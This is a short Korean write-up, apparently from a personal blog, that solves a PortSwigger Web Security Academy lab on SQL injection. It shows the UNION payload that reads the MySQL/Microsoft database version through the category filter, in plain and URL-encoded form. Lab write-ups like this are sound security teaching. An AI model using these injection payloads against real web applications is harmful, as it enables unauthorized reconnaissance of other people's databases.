Jeje’s Code Note/PortSwigger Web Security LAB/
SQL injection attack, querying the database type and version on MySQL and Microsoft
Search

SQL injection attack, querying the database type and version on MySQL and Microsoft

Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft | Web Security Academy
This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query. ...
Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft | Web Security AcademyLab: SQL injection attack, querying the database type and version on MySQL and Microsoft | Web Security Academy
https://portswigger.net/web-security/sql-injection/examining-the-database/lab-querying-database-version-mysql-microsoft
Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft | Web Security AcademyLab: SQL injection attack, querying the database type and version on MySQL and Microsoft | Web Security Academy
notion imagenotion image
문제를 풀기 위해서는 database version string를 출력하면 된다고 한다. 문제 제목에서 알 수 있듯이 MySQL 계열 DB를 사용하고 있으므로, MySQL 계열 DB의 버전을 알아내는 쿼리를 입력하자.
SELECT @@version
실제 공격 쿼리는 아래와 같다. NULL을 사용하는 이유는 이전 Oracle 버전의 Write up을 참고하자.
' UNION SELECT @@version, NULL -- 
/filter?category='%20UNION%20SELECT%20%40%40version%2c%20NULL%20--%20
notion imagenotion image

관련 글

PortSwigger Web Security LAB
pswebcyber security
추천 근거: 의미 관련도 상위 7%, 어휘 관련도 상위 1%
July 21, 2026
DB를 암호화해도 안심할 수 없는 이유
DBcyber securityalgorithmencryption
추천 근거: 의미 관련도 상위 77%, 어휘 관련도 상위 32%
January 16, 2026

다른 주제 둘러보기

가장 가까운 다른 주제예요